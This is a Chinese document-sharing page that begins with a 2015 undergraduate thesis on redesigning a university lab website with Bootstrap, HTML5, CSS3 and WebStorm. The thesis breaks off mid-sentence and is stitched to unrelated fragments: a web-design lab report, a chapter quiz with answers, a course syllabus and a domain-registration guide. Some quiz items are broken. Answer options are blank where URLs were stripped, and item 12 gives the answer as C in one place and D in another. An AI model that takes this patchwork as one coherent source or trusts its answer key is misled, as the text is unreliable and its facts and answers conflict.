基于Bootstrap的网页开发

基于Bootstrap的网页开发
基于Bootstrap的网页开发

J I A N G S U U N I V E R S I T Y 本科毕业论文

基于bootstrap的网页设计

Bootstrap-based web design

学院名称:计算机科学与通信工程学院

专业班级:软件(嵌入式)1102班

学生姓名:缪江超

指导教师姓名:马汉达

指导教师职称:高级工程师

2015年6月

基于bootstrap的网页设计

计算机科学与通信工程学院软件工程(嵌入式)缪江超

摘要::当今社会,网络是人们生活中不可或缺的一部分,网页则是传递信息的重要媒介。随着时代的进步,网页设计也随着网络技术的发展而不断发展。计算机学院实验中心信息管理系统,是2004年开发的,因设计开发时间较早,其界面已不适应当前的技术发展,不能满足师生对于网站美观要求。

Bootstrap是当下最受人们欢迎的前端框架,是基于HTML、CSS、JAVASCRIPT 的,它简洁灵活的特性使得 Web 开发更加快捷,Bootstrap提供了优雅的HTML和CSS规范,它由动态CSS语言Less写成。本文针对实验中心网站得主要问题,介绍了网页设计的相关理论,使用Bootstrap框架,对实验中心网站进行了重新布局设计,使得网站界面更为美观,用户体验更好。

关键字:前端开发 Bootstrap 布局架构实验室网站

Bootstrap-based web design

Miao Jiangchao, Computer Science and Communication Engineering, Software

Engineering (embedded) Professional

Abstract: Nowadays, networks are an indispensable part of people's lives, the page is an important medium to transmit information. With the progress of the times,with the development of network technology,web design continue to develop. School of Computer Science Experiment Center Information Management System, developed in 2004, due to the design and development time earlier, the interface has not adapted to current technological developments, and can not meet the aesthetic requirements for teachers or students.

Now Bootstrap is the most popular front frame,which is based on HTML, CSS, JAVASCRIPT, which is a clean and flexible features that make Web development faster. Bootstrap offers elegantly HTML and CSS specification, which is written by the dynamic CSS language Less. In this paper, the main problem is the Experimental Center site, introduces the theory of web design, use Bootstrap framework, the experimental center site re-layout design, making the site more attractive interface, better user experience.

Key Words:Front-end development Bootstrap Layout Architecture Laboratory site

目录

第一章绪论 (1)

1.1 界面设计的背景与研究意义 (1)

1.2 实验室网站界面重新设计的需求 (2)

第二章相关技术与理论 (3)

2.1 HTML相关介绍 (3)

2.1.1 HTML简介 (3)

2.1.2 HTML5优缺点 (3)

2.1.3支持HTML5的相关浏览器 (3)

2.2 CSS3相关介绍 (4)

2.2.1 CSS3简介 (4)

2.2.2 CSS3影响 (4)

2.3 Bootstrap介绍 (4)

2.3.1 Bootstrap概览 (4)

2.3.2 Bootstrap的特点 (4)

2.3.4 Bootstrap的优缺点 (5)

2.3.5 Bootstrap使用的必要性 (6)

2.4 Web storm技术介绍 (6)

2.4.1 Web storm简介 (6)

2.4.2 Web storm特色功能 (6)

2.4.3 Web storm优缺性 (7)

第三章实验室网站布局设计 (8)

3.1 设计立意 (8)

3.2 设计原则 (8)

3.3 网站结构规划 (8)

3.4 布局的步骤 (10)

3.4.1 草图 (10)

3.4.2 粗略布局 (10)

3.4.3 将布局细化 (10)

3.5网页排版原则 (10)

3.6网站设计要素 (11)

3.6.1 网页标题 (11)

3.6.2 网页链接 (11)

3.7网站详细设计 (12)

3.7.1 网站基本结构布局图 (12)

3.7.2首页设计与制作 (14)

3.7.3实验室预约系统界面设计与制作 (15)

3.7.5后台界面布局设计与制作 (17)

3.8 编程与运行环境 (18)

第四章设计总结 (19)

参考文献: (21)

第一章绪论

互联网在21世纪末引入了中国,当时的网站主要依靠内容来吸引人们的关注。但是这也造成其在审美上给人以拥堵的感觉,没有多少美感可言。当网站拥有足够多的内容的时候,如何合理的编排这些内容已是迫在眉睫的问题。网页设计便是为解决这一问题而出现的。过去的网页设计为了突出内容,主要为静态网页。不管是从难度亦或是开发方式上来看,现在的网页制作都更接近传统的网站后台开发,故现在已不再叫网页制作,而是将其称为Web前端开发。Web前端开发在产品开发环节中的作用变得越来越重要,而且需要专业的前端设计师才能做好,这方面的专业人才近两年来倍受青睐。Web前端开发是一项很特殊的工作,不只是单一的美工,它涵盖的知识非常广,既有具体技术,又有抽象的理念。简单地说,它的主要功能是把网站的界面更好的更完美的呈现给用户。

设计网页并不仅仅是把相关的内容放到网页当中去,它还要求网页设计者能够把这些内容进行合理安排,给浏览者以赏心悦目的感觉,这样才能达到内容与形式的完美结合,从而增加网站的吸引力。因此,设计网页不仅仅是一项技术性的工作,更是一项艺术性的工作,这就要求设计者要具有较高的艺术修养和审美情趣,这样才能够设计出高水平的网页。网页的排版布局就是决定你的网站美观与否的一个重要方面,只有通过合理的、有创意的布局,你才可以把文字、图像等内容完美地展现在浏览者面前,而布局的好坏在很大程度上取决于设计者的艺术修养水平和创新能力。然而这并不是说网页布局根本毫无章法可循,完全是灵感之作,它也有自己内在的规律和要求,我们只要按照这些要求去做的同时再加上自己的奇特创意,一个吸引人的独特的网页布局还是会出现的。

1.1 界面设计的背景与研究意义

在漫长的软件行业发展中,界面设计工作一直没有被重视起来,因此做界面设计的人也被贬义的称为“美工”。其实网站的界面设计就好比是工业产品中的工业造型设计一样,是产品的一个重要卖点[1]。一个友好美观的界面会给人带来舒适的视

觉享受,拉近人与电脑的距离,为网站创造卖点。如果把网站当做一个人来看的话,网站的后台编程就好比是人的骨骼与肌肉,而界面就是这个人的外表。众所周知爱美是一个人的天性,同样有着良好的视觉感受的网站界面也是网站拉拢人气的关键所在。网站界面其实就是网站灵魂的外在表现,忽略网站的界面设计最终也会使你的网站输在起跑线上。界面设计不是单纯的美术绘画,它需要综合考虑使用者、使用环境、使用方式并且为最终用户而设计,是一项纯粹的科学性的艺术设计。检验一个界面的标准既不是某个项目开发组领导的意见也不是项目成员投票的结果,而是最终用户的感受。

软件界面作为人机交互的窗口,一定程度上决定着用户的体验和使用效能。界面设计不同于后台,尽管其难度上没有那么大,但是其细节要求就比较高,一些看似细微的操作就能给用户带来不同的体验。如何在保证工作效率的同时给用户带来完美的使用体验,也是这一课题于我而言的主要问题与挑战。

1.2 实验室网站界面重新设计的需求

实验中心的日常教学与管理都离不开实验中心信息管理系统,而一个信息系统的界面是否美观,用户体验是否友好则是系统成功的重要因素。面对众多的使用者,网站界面是人机互动的首要目标。界面设计与用户紧密相关,一个良好的布局界面能大大提升用户的操作体验,同时一个清晰美观的布局更是能够提高人与界面交流的效率。作为一个服务全校18个专业的实验室信息系统,优秀的网站界面是必不可少的。它应具有以下特点:(1)典型的人机互动:即设计与用户是紧密相关的。(2)手段的多样性:随着计算机的发展,信息多样化的应用将创造新的生活。(3)紧密的技术想关性:随着各项技术的发展,界面设计也将不断发展从而完善自身。

信息管理系统原来首页采用川字型布局,两边是几个小窗口,中间为主要内容。这个界面看上去便会给人以一种拥挤凌乱之感,并且所有颜色给人一种灰暗的感觉。随着现如今大屏幕的普及,唯有响应式布局才能为不同终端的用户提供更为舒适的布局。纵观上述内容,过去的界面布局已渐渐不满足当前网站用户对于美的需求,重构一个清晰美观的实验室网站布局是必不可少的。

第二章相关技术与理论

2.1 HTML相关介绍

2.1.1 HTML简介

超文本标记语言即HTML是为网页创建和其他可在浏览器中看到的信息设计的一种标记语言。其在1993年6月发布草案并不断发展完善至今,于2014年制定HTML5标准规范。它是万维网联盟历时8年才完成,是万维网的核心语言、标准通用标记语言下的一个应用超文本标记语言即HTML的第五次重大修改。随着手机上网的普及,在移动设备上支持多媒体是必不可缺的,而HTML5正是为了支持这一点而被引进的。

2.1.2 HTML5优缺点

HTML5定义了新的标签;可以给站点带来更多的多媒体元素(视频和音频);可以很好的替代FLASH和Silverlight、当涉及到网站的抓取和索引的时候,对于SEO 很友好;将被大量应用于移动应用程序和游戏;可移植性好。该标准并未能很好的被浏览器所支持。因新标签的引入,各浏览器之间将缺少一种统一的数据描述格式,造成用户体验不佳[2]。

2.1.3支持HTML5的相关浏览器

尽管HTML5仍在不断完善改进之中,然而当今大部分的现代浏览器已经能够部分支持HTML5。支持HTML5的浏览器包括Firefox(火狐浏览器),IE9及其更高版本,Chrome(谷歌浏览器),Safari,Opera等;国内的遨游浏览器(Maxthon),以及基于IE或Chromium(Chrome的工程版或称实验版)所推出的360浏览器、搜狗浏览器、QQ浏览器、猎豹浏览器等国产浏览器同样具备支持HTML5的能力。

2.2 CSS3相关介绍

2.2.1 CSS3简介

CSS即层叠样式表(Cascading StyleSheet)。在网页制作时采用层叠样式表技术,可以有效地对页面的布局、字体、颜色、背景和其它效果实现更加精确的控制。只要对相应的代码做一些简单的修改,就可以改变同一页面的不同部分,或者页数不同的网页的外观和格式。CSS3是CSS技术的升级版本,CSS3语言开发是朝着模块化发展的。以前的规范作为一个模块实在是太庞大而且比较复杂,所以,把它分解为一些小的模块,更多新的模块也被加入进来。这些模块包括:盒子模型、列表模块、超链接方式、语言模块、背景和边框、文字特效、多栏布局等[3]。

2.2.2 CSS3影响

CSS3将完全向后兼容,所以没有必要修改设计来让它继续运作。网络浏览器也还将继续支持CSS2,CSS3主要的影响是可以使用新的可用的选择器和属性,这些特性将会实现新的设计效果(譬如动态和渐变),而且可以更简单的设计出现在已实现的设计效果(比如使用分栏)。

2.3 Bootstrap介绍

2.3.1 Bootstrap概览

Bootstrap是一套前端开源的框架,有别于其他框架之处在于它是基于LESS的。Bootstrap提供了优雅的HTML和CSS规范,它采用常用的960瀑布式的布局方式布局,它简洁灵活,使得 Web 开发更加快捷;它还包含丰富的组件以及一组jQuery 交互插件,这使得其修改十分便捷。Bootstrap将改变我们的合作体式格式与开发过程[4]。

2.3.2 Bootstrap的特点

(1)Bootstrap是基于HTML5和CSS3开发的,它在jQuery的基础上进行了更为个性化和人性化的设计,形成一套自己独有的网站风格,并兼容大部分jQuery

插件。

(2)Bootstrap是一套前端开源的框架。它可以帮助我们加快项目开发的步伐,让我们身处在一个完全的体系中,拥有一套完整一致的设计方案和实现的办法。不须要在外观上花费过多时间和精力,使用bootstrap能将精力集中于更首要的功能上,Bootstrap将改变我们的布局样式与开发过程。

(3)Bootstrap在原有特点是侧重改进了用户的体验和交互性,比如新增加的媒体显现功能,实用于智能手机上多种屏幕规格的响应式布局,同时新增了12款jQuery插件,可以满足Web页面常用的用户体验和交互功能。另外它还具有开源、简洁灵活等特点。

2.3.4 Bootstrap的优缺点

如今的Bootstrap已包含了几十个组件,具有完全的实例文档,定义了真正的组件和模板。无论处在何种技巧程度的开发者,也无论处在哪个工作流程中,都可以应用Bootstrap快速、便利地构建开发自己喜欢的应用。它有以下几个优点:1.规范的命名规则;代码编写规范;

2.应用视觉效果一致性,通过使用bootstrap,你可以让页面上的链接、按钮、提醒都有统一的视觉效果,同时你还可以为不同重要性级别的设置不同的颜色。

3.通过多个浏览器测试,对于市面上主流的浏览器支持都没问题。

4.完整的框架解决方案,这是一个框架,你只需使用它而无需重新制作,这个框架专为Web应用设计,所有的元素都可以非常完美的在一起工作,可快速开发。

5.Bootstrap让我们的应用看起来跟Windows或Gnome下的程序一样,都是一样的按钮,一样的对话框并且运行快速。而且越来越多的Web应用被直接放在桌面上运行,应用的一致性是一个趋势,我们可以把更多的精力放在业务上,而不是UI。

但凡事有利就有弊,Bootstrap也是一样。对于在国内的开发者和UI设计者来说,目前最烦恼的便是IE浏览器的兼容问题。现在Bootstrap对IE6到IE8的支持都不是很好。对IE-8以下(包含IE-8)的兼容性不好的重要原因是Bootstrap采用了HTML5的新的属性,另一个毛病是,采取Bootstrap的模板,网站布局时常会显得痴肥。此外,覆盖一些样式时会造成代码冗余。但与其他前它端框架比拟,感觉Bootstrap的毛病相较于其优势来说还不足为患。

2.3.5 Bootstrap使用的必要性

1.Bootstrap其在速度和项目的进度上有独特的优势。

2.一致性。使用Bootstrap可以让我的整个Web应用的风格完全一致,一致的用户体验,一致的操作习惯。

3.简单而优雅。尽管还有很多不喜欢Bootstrap的人非常抗议这一点。

4.Bootstrap将改变我们的布局体式格式与开发过程,任何人都可以基于Bootstrap建立可扩大的前端对象包,和自己的静态网站项目。

2.4 Web storm技术介绍

2.4.1 Web storm简介

Web Storm是jetbrains公司旗下一款JavaScript开发工具,它被广大中国JS 开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。它与IntelliJIDEA同源并继承了IntelliJIDEA强大的JS部分的功能[5]。

2.4.2 Web storm特色功能

智能的代码补全:支持不同浏览器的提示,还包括所有用户自定义的函数(项目中),代码补全包含了所有流行的库,比如:JQuery, YUI, Dojo, Prototype, Mootools and Bindows。

代码格式化:代码不仅可以格式化,而且所有规则都可以自己来定全删除等等。

代码检查和快速修复:可以快速找到代码中的错误或者需要优化义。

html提示:大家经常在js代码中编写html代码,一般来说十分痛苦,不过有了智能提示,就爽多了。而且html里面还能有js提示。

联想查询:只需要按着Ctrl键点击函数或者变量等,就能直接跳转到定义;可以全项目查找函数或者变量,还可以查找使用并高亮。

代码重构:这个操作有些像Resharper,熟悉Resharper的用户应该上手很快,支持的有重命名、提取变量/函数、内联变量/函数、移动/复制、安的地方,并给出修改意见,快速修复。

代码调试:支持代码调试,界面和IDEA相似,非常方便。

代码结构浏览:可以快速浏览和定位。

代码折叠:功能虽小,不过胜在方便高效

2.4.3 Web storm优缺性

尽管合适的工具会使我们事半功倍,但我们还是得把握分寸,要不就成了会得越多干的越多的“苦力者”。编辑类软件层出不群,各有所长,各有所短。Web storm 与其它的编辑器有什么不同呢?

1.任何一个编辑器都需要保存(ctrl+s),这是所有win平台上编辑类软件的特点,但是web storm编辑文件右上角是没有那个熟悉的米号的。换句话说,所有的操作都直接存储,这样带来的坏处就是,没有以前的米号标识,万一键盘误操作也会被立即存储。但省去ctrl+s之后,在结合Firefox的vim,基本不动鼠标就可以看到结果页面了。

2.任何一个编辑器只要文件关闭了就没有历史记录了,但是web storm有,也就是说,只要web storm不关闭,你的文件随时可以返回到之前的操作,web storm 关闭重启后这些历史记录就没有了。这样的坏处也是显然的,由此带来的内存消耗也必然比较大。

3.任何一个编辑器,除了服务器svn之外,没有本地版本,但是web storm提供一个本地文件修改历史记录。

4.独特的与时俱进的眼光。zencoding于2009年出现于it界,在这之后,鲜有工具直接集成到里边。Web storm 2.0之后就集成了。

5.提供的插件也是比较齐全,安装非常方便。然而,web storm只能安装官方插件,不能安装第三方插件。

6.可以导出当前设置:File -> Export setting。

第三章实验室网站布局设计

3.1 设计立意

现代网页设计中其设计思想的主流是使该网页的实用功能充分体现,去除花哨无用的点缀。本次界面设计对象为实验中心信息管理系统,该网站是计算机学院实验室中心综合信息管理系统,为广大师生提供日常的实验教学和实验室管理工作。一个系统的界面设计首先考虑用户群体,要考虑这些用户的信息素养,才能使设计的系统有更好的用户体验。该网站主要用户教师、学生,我们必须充分考虑这部分特定用户的特点,为其量身定做满意度高的网页界面。首先界面必须易使用,易理解,毕竟没有谁会喜欢操作一个繁琐复杂的界面。为此这次布局的重构既要能够鲜明准确的展现其主题,又要确保网页各元素存在的必要性以避免冗余从而提高效率,要以适合主题为条件的同时追求网页的形式美,才能使我们的网页设计简单、立体又智能。作为学院实验室信息管理系统,为了众多师生用户考虑,其对效率的要求必然也不能过低。为此我们要尽量减少用户操作界面的时间从而提高使用效率。3.2 设计原则

互联网与传统媒体最大的不同就在于除了文字和图像以外,还包含声音、视频和动画等新兴多媒体元素,增加了网页界面生动性的同时也使得网页设计者需要考虑更多页面元素合理性运用。针对学院实验室网站,这次界面设计主要考虑文字与图形两大要素。文字作为信息传递的主体,有着其它元素无法取代的作用。网页中的文字主要包括标题,信息,链接等形式。文字的大小,颜色,排布等对页面设计影响颇大。我们需要排布得当,既显清晰又不给人单调的感觉。图形在网页中同样占有重要位置,其形式主要有标题,背景,主图,链接图标等。图形相比文字往往能更加容易引起人们注意,可以生动直观形象的表达设计主题。合理搭配各种图形可以增强文字活力,给人以更好的视觉冲击。

3.3 网站结构规划

计算机学院实验室网站的具体结构设计主要分为以下7个模块,总体结构图如

图3.1所示。

图3.1 网站结构图

(1)网站首页体现的是实验室网站的门面,也显示了学院实验室的相关信息,是网站设计中较为重要的部分,是整个网站的导航,要能够让用户第一时间感受网站特色所在。

(2)规章制度主要介绍实验室管理人员以及实验室使用的各项规定等,主要是文字信息的表达,要注意界面清晰有条理即可。

(3)实验教学模块介绍的是实验室的指导老师队伍以及取得的各项成就等等,其内容形式上与规章制度快相近,要求也相似。

(4)实验预约模块是实验室网站针对使用者们能够合理方便的使用实验室而配置的一项重要功能模块。功能模块不需要华丽的展示,只需要稳定方便的功能实现。该模块仍需保持清晰准确的特色。

(5)仪器设备是实验室各项设备的介绍,充分展示计算机学院实验室的规模以及先进性。同时该模块还有仪器的操作介绍,是使用实验室前必须了解的项目。

(6)社区论坛是实验室管理与用户交互的平台,使用者有任何建议或意见都可以在平台中一一提出,而管理者也可以给出相应的答复,在双方不断的互动中不断推

进实验室向前发展。

(7)后台入口,顾名思义是该网站的管理模块。系统的重要操作修改管理都可以在这实现。同时重要的通知也可以在后台中添加修改。总之后台界面还是离不开简洁易操作的特点。

3.4 布局的步骤

3.4.1 草图

这时我们面对的是一张白纸,要做的就是简单的用画笔在纸上将创意的大致轮廓画在纸上,以便给以后的设计做大致的指导。根据网站的内容整体风格,设计版面布局。我们可以参考其他优秀的网站,调用自己的各种知识储备,特别是艺术方面的,在大脑中不断地酝酿、碰撞,往往在不经意间就有闪光的思想出现。这时你就要抓紧时间把它变成文字的东西,用笔在纸上粗略地勾画出布局的轮廓,不要讲究细节,只要有一个轮廓就行。当然你也可能有多种想法,尽量都把它们画出来,然后再比较,采用一种比较满意的方案。

3.4.2 粗略布局

将纸上的轮廓在电脑上体现出来,对画面进行分割,也可以用色块进行填充,确定好在什么地方布置什么栏目,他们的大小等。这一步就要把一些主要的内容放到网页中,例如网站的标志、广告条、菜单、导航条、计数器等,要注意重点突出,把网站标志、广告条、菜单放在最突出、最醒目的位置,然后再考虑其它元素的放置。

3.4.3 将布局细化

在将各主要元素确定好之后,下面就可以考虑文字、图像、表格等页面元素的排版布局了。在这一步,你可以利用网页编辑工具把草案做成一个简略的网页,当然对每一种元素所占的比例也要有一个详细的数字,以便以后修改。

3.5网页排版原则

在构思和设计的过程中,我们还必须要掌握以下几项原则:

(1)平衡性:一个好的网页布局应该给人一种安定、平稳的感觉,它不仅表现

在文字、图像等要素的空间占用上分布均匀,而且还有色彩的平衡,要给人一种协调的感觉。

(2)对称性:对称是一种美,我们生活中有许多事物都是对称的。但过度的对称就会给人一种呆板、死气沉沉的感觉,因此要适当地打破对称,制造一点变化。

(3)对比性:让不同的形态、色彩等元素相互对比,来形成鲜明的视觉效果。例如黑白对比,圆形与方形对比等,它们往往能够创造出富有变化的效果。

(4)疏密度:网页要做到疏密有度,即平常所说的“密不透风,疏可跑马”。不要整个网页一种样式,要适当进行留白,运用空格,改变行间距、字间距等制造一些变化的效果。

(5)比例:比例适当,这在布局当中非常重要,虽然不一定都要做到黄金分割,但比例一定要协调[6]。

3.6网站设计要素

3.6.1 网页标题

网页标题是网站的指航标,浏览者要在网页间跳转,要了解网站的结构,网站的内容,都必须通过导航或者页面中的一些小标题。所以我们可以使用稍微具有跳跃性的色彩,吸引浏览者的视线,让他们感觉网站清晰、明了,层次分明。想往哪里走都不会迷失方向。我们的网站是学院实验室网站,要符合上述要求我们将以计算机科学与通信工程实验中心为标题。

3.6.2 网页链接

一个网站必然是由许多页面组成的,实现网页间相互跳转的就是网页的链接,所以文字与图片的链接是网站中不可缺少的一部分[7]。这里特别指出文字的链接,因为链接区别于文字,所以链接的颜色不能跟文字的颜色一样。大多数浏览者不会愿意花太多的时间用在寻找网站的链接上,为此我们设置了独特的链接颜色,让人感觉到它的独特性,自然而然的好奇心必然趋使着他移动鼠标,点击链接。

3.6.3 网页文字

文字是讯息传达的主要载体,一般说来网站侧重的是文字,所以背景可以选择纯度或者明度较低的色彩,文字用较为突出的亮色让人一目了然。字体的颜色、大小、种类、排列等都是网页设计中需要考虑的内容,合理的运用方能出色出彩。

3.6.4 网页图像

虽然文字是表达的主题,但图像也是网页中不可或缺的部分。众所周知图像是比文字更易于理解的,而且比文字更容易调动浏览者的情绪也更易于让人记住。无论是信息图还是背景图,好的图像会使网页更生动形象。

3.6.4 网页的留白

自古以来中国的书法就讲究留白,好的留白的运用可以带给浏览者对当前画面产生想象空间,更为重要的一点就是,在网站使用中浏览者通常会划动鼠标来快速浏览页面,如果没有留白,浏览者很可能会误点链接,给浏览带来不便影响客户体验。

3.7网站详细设计

3.7.1 网站基本结构布局图

(1)网站主页结构布局如图3.2所示:

图3.2网站首页布局图

(2)网站相关子页布局图如图3.3所示:

图3.3子页布局图

网站除去预约系统与后台模块与该布局不同,其余的相关页面均与之相似,便不再一一介绍。

(3)网站预约系统页面布局如图3.4所示:

图3.4预约系统布局图

(4)网站后台界面布局如图3.5所示:

图3.5后台界面布局图

3.7.2首页设计与制作

网站首页是一个网站的门面,显示实验室的相关信息,是此次网站设计中较为

重要的部分。首页以网站综合平台的方式展示了整个实验室网站的主要内容,是整个网站的导航,也是整个网站能让浏览者第一时间感受学院实验室特色的所在。实验室简介可以让阅览者初步了解实验室,展示实验室的基本信息。通知栏则是实验室重要的实时消息的公告平台,让人第一时间知道实验室使用的重要讯息。实验室风采栏则是我院实验室实景写照,真实展现学生上机情境。

首页包括logo、导航栏、3个图文信息栏等组件。网站logo是网站标识,由于计算机学院实验室属于江苏大学的一部分,所以我们采用江苏大学的校徽作为网站统一标志。

首页背景方面作为一个学院网站还是突出其简洁、明了的特点,所以统一采用了白色背景。导航栏也采用与背景统一的颜色,同时配上清新的绿色增加一些活力,体现青春气息。具体如图3.7所示:

图3.7导航栏

至于首页的图文信息栏只需清晰展示其供给阅览者查看内容即可,如图3.8:

图3.8图文信息栏

3.7.3实验室预约系统界面设计与制作

实验室预约系统是实验室网站需要实现的一项重要功能。通过预约系统,使用者可以清楚的查询实验室使用情况,在依据现状合理安排自己想要使用实验室的合理日期与时间。准确实现上述功能首先需要各个实验室的查询名单,为此我们可以

网页工作设计综合实验总结报告

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网页设计实验报告 《网页设计》课程综合性实验报告 第 1 页

以上是网站的部分截图 二.Dreamweaver部分 Dreamweaver是美国MACROMEDIA公司开发的集网页制作和管理网站于一身的所见即所得网页编辑器,它是第一套针对专业网页设计师特别发展的视觉化网页开发 工具,利用它可以轻而易举地制作出跨越平台限制和跨越浏览器限制的充满动感的 2

网页设计实验报告 网页。 本博客网站利用Dreamweaver实现静态网页,运用了表格将网站页面进行整体布局,页面专业美观,色彩和谐。网页绝大部分画面都是由其完成 三.超链接部分 超链接在本质上属于一个网页的一部分,它是一种允许我们同其他网页或站点之间进行连接的元素。各个网页链接在一起后,才能真正构成一个网站。所谓的超链接是指从一个网页指向一个目标的连接关系,这个目标可以是另一个网页,也可以是相同网页上的不同位置,还可以是一个图片,一个电子邮件地址,一个文件,甚至是一个应用程序。而在一个网页中用来超链接的对象,可以是一段文本或者是一个图片。当浏览者单击已经链接的文字或图片后,链接目标将显示在浏览器上,并且根据目标的类型来打开或运行。 本网站中,导航栏,图片及部分文字部分均设置了超链接,为查找相关的知识提供了便利的条件。 四.Flash部分 Flash 是一种创作工具,设计人员和开发人员可使用它来创建演示文稿、应用程序和其它允许用户交互的内容。Flash 可以包含简单的动画、视频内容、复杂演示文稿和应用程序以及介于它们之间的任何内容。通常,使用 Flash 创作的各个内容单元称为应用程序,即使它们可能只是很简单的动画。您也可以通过添加图片、声音、视频和特殊效果,构建包含丰富媒体的 Flash 应用程序。 网站在视频部分,插入了视频,可供来访人员欣赏,丰富了网站内容。五.CSS部分 级联样式表(Cascading Style Sheet)简称“CSS”,通常又称为“风格样式表(Style Sheet)”,它是用来进行网页风格设计的。比如,如果想让链接字未点击时是蓝色的,当鼠标移上去后字变成红色的且有下划线,这就是一种风格。通过设立样式表,可以统一地控制HTML中各标志的显示属性。级联样式表可以使人更能有效地控制网页外观。使用级联样式表,可以扩充精确指定网页元素位置,外观以及创建特殊效果的能力。 第 3 页

网页设计与开发第1章试卷及答案

《网页设计与开发第1章》试卷 一、选择题 1.HTML指的是( A )。 A超文本标记语言(Hyper Text Markup Language) B家庭工具标记语言(Home Tool Markup Language) C超链接和文本标记语言(Hyperlinks and Text Markup Language) D超文本传输协议 (Hypertext transfer protocol) 答案: A 2.web标准的制定者是( B )。 A 微软 B万维网联盟(W3C) C网景公司(Netscape) D IBM公司 答案: B 3.通常网页的首页被称为( A )。 A.主页 B.网页 C.页面 D.网址 答案: A 4.网页的基本语言是( C )。 A.JavaScript B.VBScript C.HTML D.XML 答案: C 5.网页在Internet 上是通过URL来指明其所在的位置的,每个不同的网页都应该有不同 的URL,比如263网站主页的URL就是( A )。 A. B.\\ C. D.mailto: 答案: A 6.下列不属于Macromedia公司产品的是( D )。 A.Dreamweaver B.Fireworks C.Flash D.Frontpage 答案: D 7.下列属于静态网页的是( A )。

A. B. C.D.答案: A 8.属于网页制作平台的是( C )。 A.photoshop B.flash C.dreamweaver D.cuteFTP 答案: C 9.要想在打开网页时弹出一个信息框,可以便用下列哪种技术实现( C )。 A.CSS技术 B.HTML技术 C.调用JavaScript D.URL 答案: C 10.以下说法中,错误的是( B )。 A.网页的本质就是HTML源代码。 B.网页就是主页。 C.使用“记事本”编辑网页时,应将其保存为 .htm 或 .html 后缀。 D.本地网站通常就是一个完整的文件夹。 答案: B 11.URL是下列( D )的简写,中文译作( )。 A.Uniform Real Locator,全球定位 B.Unin Resource Locator,全球资源定位C.Uniform Real Locator,全球资源定位 D.Uniform Resource Locator,全球资源定位 答案: D 12.下列( C )软件不能编辑html语言。 A.记事 本 B.FrontPage C.Dreamweaver D.C语言 答案: D 13.下面说法错误的是( C )。 A. CSS样式表可以将格式和结构分离

网页设计与制作课程标准

《网页设计与制作》课程标准前言: 《网页设计与制作》是理实一体化课程,是计算机专业(软件与信息服务、数字媒体、计算机应用专业)的一门重要的专业必修课。本课程定位于WEB技术开发工作岗位。它是WEB前端技术开发的必备课程,在整个课程体系中具有重要的作用, 一、课程的说明: 通过本课程的学习,使学生了解网页设计技术的起源和发展、常用的网页制作软件及HTML语言,掌握运用Dreamweaver(以下简称DW)网页制作软件制作网页的方法,通过运用Photoshop图像处理软件和Flash动画制作软件,三个软件互相配合,完成网页设计与制作任务的方法。为今后从事网页设计与制作、网站开发和管理奠定基础。在网页设计的实践中重点培养团队协作、沟通交流能力,培养自主学习能力和探索创新能力。 二、课程内容与基本要求: 该课程涉及的知识是网页设计人员必备的基本技能,职业活动与课程内容的对应关系如下:

三、教学目标 1、职业关键能力目标 (1) 掌握使用Photoshop进行图像处理的基本方法及操作技能 (2) 掌握DreamweaverCS5的基本知识及操作技能 (3) 掌握建立与管理站点的方法 (4) 掌握制作主要内容为文本的网页的方法 (5) 掌握在网页中插入与编辑图像的方法 (6) 掌握在网页中插入多媒体元素的方法 (7) 掌握表格处理与网页布局的方法 (8) 掌握创建超级链接的方法 (9) 掌握使用框架制作旅游网站的方法 (10) 掌握创建和使用模板的方法 (11) 掌握创建和使用库的方法 (12) 掌握在网页中添加AP Div的方法

(13) 掌握在网页中使用行为的方法 (14) 掌握HTML基础知识及通过代码修饰网页的方法 (15) 掌握使用CSS样式表修饰网页的方法 (16) 掌握动态网页的概念及简单动态网页的制作方法 2、职业专门能力目标 (1) 通过完成相关的项目,掌握网页设计的基本工作流程。 (2) 通过完成相关的项目,掌握网页设计常用工具的使用方法。 (3) 通过完成相关的项目,掌握网页布局及美化的基本方法。 (4) 通过完成相关的项目,掌握简单网页交互的制作方法。 3、方法能力目标 形成一定的学习能力、沟通与团队的协作能力,形成良好的思考问题、分析问题和解决问题的能力,养成良好的职业素养。遵守国家关于软件与信息技术的相关法律法规,形成关键性的软件开发与应用的能力。 四、教学内容 第一章网页制作基础知识(4学时) 教学目标: 网页与网站基本概念、网页基本组成元素、常用网页制作软件 主要教学内容: 网页制作基础知识 网页的基本构成元素 网页制作常用软件和技术 第二章 Dreamweaver CS6轻松入门(2学时)

网站制作步骤

网站制作步骤 [ 浏览: 541 次添加人:胡居雄 | 发表于: 2009-5-14 ] 网站随着互联网络的发展越来越普及和深入到每一个行业、每一个人。做网站对于知道的人是很简单的事情,对于不知道的人,显得很高深莫测。其实,做网站的门槛是很低的,只要你想做,很少钱、很短时间就可以做到。对于我们自己,做网站可以随心所欲,充分展示自己。我在这里把做入门级网站的具体步骤告诉你,如果要做大型的网站,这个就肯定不够用了。 第一步:注册域名 什么是域名?域名是Internet上用来查找网站的专用名字,与我们熟悉的地址、门牌号的作用相似。据规定,域名由英文字母(不区分大小写),阿拉伯数字和横杠“-”组成,不能有空格,“-”不能放在最前面或最后面,每个层次最长不能超过67个字母。 互联网上的域名可谓千姿百态,但从域名的结构来划分,总体上可把域名分成两类,一类称为“国际顶级域名”(简称“国际域名”),一类称为“国内域名”。 一般国际域名的最后一个后缀是一些诸如.com,.net,.gov,.edu的”国际通用域”,这些不同的后缀分别代表了不同的机构性质。比如.com表示的是商业机构,.net表示的是网络服务机构,.gov表示的是政府机构,.edu表示的是教育机构。 国内域名的后缀通常要包括“国际通用域”和“国家域”两部分,而且要以“国家域”作为最后一个后缀。以ISO31660为规范,各个国家都有自己固定的国家域,如:cn代表中国、us代表美国、uk代表英国等。 举例:https://www.360docs.net/doc/394553780.html,(国际域名) https://www.360docs.net/doc/394553780.html,(国内域名) 互联网地址资源注册管理机构: 中国互联网信息中心https://www.360docs.net/doc/394553780.html,/ 根据信息产业部授权,CNNIC是我国域名体系注册管理机构和域名根服务器运行机构。CNNIC负责运行和管理国家顶级域名CN、中文域名系统及通用网址系统。 CNNIC是亚太互联网络信息中心(APNIC)的国家级互联网络注册机构成员(NIR)。以CNNIC为召集单位的IP地址分配联盟,负责为我国的网络服务商(ISP)和网络用户提供IP地址和AS号码的分配管理服务。 推荐的知名注册服务机构: 中国万网https://www.360docs.net/doc/394553780.html,/ 新网https://www.360docs.net/doc/394553780.html,/ 中国频道https://www.360docs.net/doc/394553780.html,/ 商务中国 新网互联https://www.360docs.net/doc/394553780.html,/ 